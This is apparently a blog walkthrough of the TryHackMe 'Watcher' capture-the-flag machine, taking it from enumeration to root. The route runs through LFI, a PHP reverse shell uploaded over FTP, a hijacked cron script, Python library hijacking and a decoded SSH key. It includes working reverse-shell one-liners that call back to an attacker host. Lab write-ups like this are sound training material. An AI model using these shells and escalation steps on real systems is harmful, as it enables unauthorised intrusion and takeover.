TryHackMe - Watcher
Hello l33ts, I hope you are doing well. Today we are going to look at Watcher from TryHackMe, a medium machine requires the exploitation of an LFI vulnerability to get some credentials, and use those credentials to upload a web reverse shell in order to get access to the machine, and work from there to get root with multiple horizontal Privilege escalation using different techniques. Let’s dive into it.
Description
A boot2root Linux machine utilising web exploits along with some common privilege escalation techniques.
Enumeration
Let’s start our enumeration with a nmap scan:sudo nmap -sC -sV -T4 {target_IP} | tee scans/nmap
-sC: run all the default scripts.
-sV: Find the version of services running on the target.
-T4: Aggressive scan to provide faster results.
tee scans/nmap: Save the output to a file named nmap.
nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ sudo nmap -sC -sV {target-IP} | tee scans/nmap
Starting Nmap 7.92 ( https://nmap.org ) at 06:04 EST
Nmap scan report for 10.10.18.205
Host is up (0.096s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e1:80:ec:1f:26:9e:32:eb:27:3f:26:ac:d2:37:ba:96 (RSA)
| 256 36:ff:70:11:05:8e:d4:50:7a:29:91:58:75:ac:2e:76 (ECDSA)
|_ 256 48:d2:3e:45:da:0c:f0:f6:65:4e:f9:78:97:37:aa:8a (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Jekyll v4.1.1
|_http-title: Corkplacemats
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.99 seconds
We find 3 open ports, 21(FTP), 22(SSH) and 80(HTTP). We don’t have credentials for FTP nor for SSH, so let’s enumerate the HTTP server using Gobuster:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://{target_IP} | tee scans/gobuster
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.18.205
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
06:07:15 Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 277]
/.htaccess (Status: 403) [Size: 277]
/.htpasswd (Status: 403) [Size: 277]
/css (Status: 301) [Size: 310] [--> http://10.10.18.205/css/]
/images (Status: 301) [Size: 313] [--> http://10.10.18.205/images/]
/index.php (Status: 200) [Size: 4826]
/robots.txt (Status: 200) [Size: 69]
/server-status (Status: 403) [Size: 277]
===============================================================
Gobuster found robots.txt, let’s check it.
Flag 1
Great we found our first flag, we can find it here : http://{target_IP}/flag_1.txt
. We also found another file, but we don’t have access to it.
Let’s check if the website has anything useful for us:
If we click one of the pictures on the website we get redirected to /post.php
where we can see a parameter query /post.php?post=round.php
. Let’s see if this parameter is vulnerable to LFI:
Great, it is vulnerable to LFI, let’s now try to pull the file we found earlier in robots.txt:
We have manged to read that file, and it seems we have got some FTP credentials that we can use.
FTP
Let’s login to FTP and see what’s there: ftp {target_IP}
Flag 2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(sirius㉿kali)-[~/CTF/THM/watcher]
└─$ ftp 10.10.18.205
Connected to 10.10.18.205.
220 (vsFTPd 3.0.3)
Name (10.10.18.205:sirius): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||43157|)
150 Here comes the directory listing.
drwxr-xr-x 2 1001 1001 4096 Dec 03 2020 files
-rw-r--r-- 1 0 0 21 Dec 03 2020 flag_2.txt
226 Directory send OK.
ftp> get flag_2.txt
local: flag_2.txt remote: flag_2.txt
229 Entering Extended Passive Mode (|||47137|)
150 Opening BINARY mode data connection for flag_2.txt (21 bytes).
100% |****************************************************************************************************************| 21 113.30 KiB/s 00:00 ETA
226 Transfer complete.
21 bytes received in 00:00 (0.21 KiB/s)
dftp>exit
221 Goodbye.
┌──(sirius㉿kali)-[~/CTF/THM/watcher]
└─$ ls
flag_2.txt scans
Great, we found our second flag, we can copy it to our machine using : get flag_2.txt
Since we have an LFI vulnerability, i’m going to try to upload a php reverse shell to the FTP server and try to access it using the web server. The shell i will be using is this : php_reverse_shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ ftp 10.10.18.205
Connected to 10.10.18.205.
220 (vsFTPd 3.0.3)
Name (10.10.18.205:sirius): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> put rev.php
local: rev.php remote: rev.php
229 Entering Extended Passive Mode (|||45312|)
553 Could not create file.
ftp> pwd
Remote directory: /
ftp> ls
229 Entering Extended Passive Mode (|||42555|)
150 Here comes the directory listing.
drwxr-xr-x 2 1001 1001 4096 Dec 03 2020 files
-rw-r--r-- 1 0 0 21 Dec 03 2020 flag_2.txt
226 Directory send OK.
ftp> cd files
250 Directory successfully changed.
ftp> put rev.php
local: rev.php remote: rev.php
229 Entering Extended Passive Mode (|||41911|)
150 Ok to send data.
100% |****************************************************************************************************************| 3651 23.84 MiB/s 00:00 ETA
226 Transfer complete.
3651 bytes sent in 00:00 (15.91 KiB/s)
ftp> ls
229 Entering Extended Passive Mode (|||46255|)
150 Here comes the directory listing.
-rw-r--r-- 1 1001 1001 3651 Jan 13 10:57 rev.php
226 Directory send OK.
ftp>
I couldn’t upload it first in the root directory but i managed to upload it into files directory.
Note : you should change the ip in the reverse shell before uploading it.
Now, we should set up a listener in our machine before navigating to the shell. nc -lnvp 1234
According to the secret file we found in robots.txt:
The path to our reverse shell is /home/ftpuser/ftp/files/
. So in order to execute the script, we need to navigate to http://{target_IP}/post.php?post=/home/ftpuser/ftp/files/rev.php
Note : ‘rev.php’ is what i named my reverse shell file, yours might be different!!!
Foothold
After setting up everything and navigating to our shell, we should get a reverse shell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ nc -lnvp 1234 [142/144]
listening on [any] 1234 ...
connect to [10.11.31.131] from (UNKNOWN) [10.10.18.205] 36444
Linux watcher 4.15.0-128-generic #131-Ubuntu SMP Wed Dec 9 06:57:35 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
10:58:02 up 19 min, 0 users, load average: 0.00, 0.02, 0.11
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@watcher:/home$ export TERM=xterm
export TERM=xterm
www-data@watcher:/home$ ^Z
zsh: suspended nc -lnvp 1234
┌──(sirius㉿kali)-[~]
└─$ stty raw -echo; fg 148 ⨯ 1 ⚙
[1] + continued nc -lnvp 1234
www-data@watcher:/home$
Flag 3
Great, we got a shell, i have executed some commands to get a functional shell:
1
2
3
4
5
6
7
[target machine] python3 -c 'import pty;pty.spawn("/bin/bash")'
[target machine] export TERM=xterm
[target machine] ctrl+z
[attacker machine] stty raw -echo;fg
We can find our third flag here:
1
2
www-data@watcher:/var/www/html/more_secrets_a9f10a$ ls
flag_3.txt
Privilege Escalation
Flag 4
It’s now to upgrade from www-data to another user, let’s check what we can do with our current user:
1
2
3
4
5
6
7
www-data@watcher:/$ sudo -l
Matching Defaults entries for www-data on watcher:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on watcher:
(toby) NOPASSWD: ALL
Apparently, we can execute any command as toby
. We can use that to change our user to toby:
1
2
3
4
5
6
7
8
www-data@watcher:/$ sudo -u toby /bin/bash
toby@watcher:/$
toby@watcher:/$ ls
flag_4.txt jobs note.txt
toby@watcher:~$ cat note.txt
Hi Toby,
I've got the cron jobs set up now so don't worry about getting that done.
With that, we can now cat
the fourth flag.
Flag 5
We have a note from someone that says there is a cronjob set up, let’s see what’s there:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
toby@watcher:/$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
*/1 * * * * mat /home/toby/jobs/cow.sh
There a script called cow.sh that runs as mat but we as toby are the owner of that file, so we can edit it to get a shell as mat. I added a bash script to cow.sh that sends me a reverse shell, the script now looks like this:
1
2
3
4
$ cat cow.sh
#!/bin/bash
cp /home/mat/cow.jpg /tmp/cow.jpg
/bin/bash -i >& /dev/tcp/{attacker_IP}/9001 0>&1
Set up a listner on port 9001 and wait.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(sirius㉿kali)-[~] [35/36]
└─$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.11.31.131] from (UNKNOWN) [10.10.18.205] 39298
bash: cannot set terminal process group (2119): Inappropriate ioctl for device
bash: no job control in this shell
mat@watcher:~$
mat@watcher:~$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
mat@watcher:~$ export TERM=xterm
export TERM=xterm
mat@watcher:~$ ^Z
zsh: suspended nc -lnvp 9001
┌──(sirius㉿kali)-[~]
└─$ stty raw -echo; fg 148 ⨯ 1 ⚙
[1] + continued nc -lnvp 9001
mat@watcher:~$ ls
cow.jpg flag_5.txt note.txt scripts
mat@watcher:~$ whoami
mat
As mat now, we can get our fifth flag.
Flag 6
Nice, we became mat now, let’s see what can we do as mat here:
1
2
3
4
5
6
7
mat@watcher:~$ sudo -l
Matching Defaults entries for mat on watcher:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mat may run the following commands on watcher:
(will) NOPASSWD: /usr/bin/python3 /home/mat/scripts/will_script.py *
We can run will_script.py as will, let’s see what the script does:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
mat@watcher:~/scripts$ cat will_script.py
import os
import sys
from cmd import get_command
cmd = get_command(sys.argv[1])
whitelist = ["ls -lah", "id", "cat /etc/passwd"]
if cmd not in whitelist:
print("Invalid command!")
exit()
os.system(cmd)
The script calls os
, sys
and cmd
libraries, and then tries to execute one of the following commands : ls -lah", "id", "cat /etc/passwd
depending on what we gave it as an argument.
We will be hijacking one of the libraries in order to get another reverse shell. The only library we have write permission to is cmd.py, so let’s put a python script in the file:
1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",9000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);
Note : don’t forget to change the ip adress in the script!!
The cmd.py file now looks like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
mat@watcher:~/scripts$ cat cmd.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",9000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);
def get_command(num):
if(num == "1"):
return "ls -lah"
if(num == "2"):
return "id"
if(num == "3"):
return "cat /etc/passwd"
mat@watcher:~/scripts$
Let’s set up another listener for this and then run the script:
1
mat@watcher:~/scripts$ sudo -u will /usr/bin/python3 /home/mat/scripts/will_script 2
1
2
3
4
5
$nc -lvnp 9000
listening on [any] 1234 ...
connect to [10.10.10.10] from (UNKNOWN) [10.10.180.180] 38226
$ whoami
will
Great, we escalated to will now.
Flag 7
After some enumeration, we found base64 encoded file located in /opt directory:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
will@watcher:/opt/backups$ ls
key.b64
will@watcher:/opt/backups$ base64 -d key.b64
-----BEGIN RSA PRIVATE KEY-----
RedactedAAKCAQEAzPaQFolQq8cHom9mssyPZ53aLzBcRyBw+rysJ3h0JCxnV+aG
opZdcQz01YOYdjYIaZEJmdcPVWQp/L0uc5u3igoiK1uiYMfw850N7t3OX/erdKF4
jqVu3iXN9doBmr3TuU9RJkVnDDuo8y4DtIuFCf92ZfEAJGUB2+vFON7q4KJsIxgA
nM8kj8NkFkFPk0d1HKH2+p7QP2HGZrf3DNFmQ7Tuja3zngbEVO7NXx3V3YOF9y1X
eFPrvtDQV7BYb6egklafs4m4XeUO/csM84I6nYHWzEJ5zpcSrpmkDHxC8yH9mIVt
dSelabW2fuLAi51UR/2wNqL13hvGglpePhKQgQIDAQABAoIBAHmgTryw22g0ATnI
9Z5geTC5oUGjZv7mJ2UDFP2PIwxcNS8aIwbUR7rQP3F8V7q+MZvDb3kU/4pil+/c
q3X7D50gikpEZEUeIMPPjPcUNGUKaXoaX5n2XaYBtQiRR6Z1wvASO0uEn7PIq2cz
BQvcRyQ5rh6sNrNiJQpGDJDE54hIigic/GucbynezYya8rrIsdWM/0SUl9JknI0Q
TQOi/X2wfyryJsm+tYcvY4ydhChK+0nVTheciUrV/wkFvODbGMSuuhcHRKTKc6B6
1wsUA85+vqNFrxzFY/redactedredactedredactedredacted+++w+t0QRB5RCF
AlQJ28kCgYEA6lrY2xyeLh/aOBu9+Sp3uJknIkObpIWCdLd1xXNtDMAz4OqbrLB5
fJ/iUcYjwOBHt3NNkuUm6qoEfp4Gou14yGzOiRkAe4HQJF9vxFWJ5mX+BHGI/vj2
Nv1sq7PaIKq4pkRBzR6M/ObD7yQe78NdlQvLnQTlWp4njhjQoHOsovsCgYEA3+TE
7QR77yQ8l1iGAFYRXIzBgp5eJ2AAvVpWJuINLK5lmQ/E1x2K98E73CpQsRDG0n+1
vp4+Y8J0IB/tGmCf7IPMeiX80YJW7Ltozr7+sfbAQZ1Ta2o1hCalAQyIk9p+EXpI
UbBVnyUC1XcvRfQvFJyzgccwExEr6glJKOj64bMCgYEAlxmx/jxKZLTWzxxb9V4D
SPs+NyJeJMqMHVL4VTGh2vnFuTuq2cIC4m53zn+xJ7ezpb1rA85JtD2gnj6nSr9Q
A/HbjJuZKwi8uebquizot6uFBzpouPSuUzA8s8xHVI6edV1HC8ip4JmtNPAWHkLZ
gLLVOk0gz7dvC3hGc12BrqcCgYAhFji34iLCi3Nc1lsvL4jvSWnLeMXnQbu6P+Bd
bKiPwtIG1Zq8Q4Rm6qqC9cno8NbBAtiD6/TCX1kz6iPq8v6PQEb2giijeYSJBYUO
kJEpEZMF308Vn6N6/Q8DYavJVc+tm4mWcN2mYBzUGQHmb5iJjkLE2f/TwYTg2DB0
mEGDGwKBgQCh+UpmTTRx4KKNy6wJkwGv2uRdj9rta2X5pzTq2nEApke2UYlP5OLh
/6KHTLRhcp9FmF9iKWDtEMSQ8DCan5ZMJ7OIYp2RZ1RzC9Dug3qkttkOKAbccKn5
4APxI1DxU+a2xXXf02dsQH0H5AhNCiTBD7I5YRredactedredacted==
-----END RSA PRIVATE KEY-----
will@watcher:/opt/backups$
When we decode the file, we see that it is a SSH private key, let’s copy it to our machine, give it the right permissions, and try to connect with it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(sirius㉿kali)-[~/CTF/THM/watcher]
└─$ chmod 400 id_rsa
┌──(sirius㉿kali)-[~/CTF/THM/watcher]
└─$ ssh -i id_rsa root@10.10.10.10 255 ⨯
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-128-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu Jan 13 12:28:44 UTC 2022
System load: 0.0 Processes: 124
Usage of /: 22.5% of 18.57GB Users logged in: 0
Memory usage: 37% IP address for eth0: 10.10.18.205
Swap usage: 0% IP address for lxdbr0: 10.14.179.1
33 packages can be updated.
0 updates are security updates.
Last login: Thu Dec 3 03:25:38 2020
root@watcher:~# ls
flag_7.txt
root@watcher:~#
Great, we are root now. This was an amazing machine, hope you have enjoyed it as much as i did, and see you in the next hack.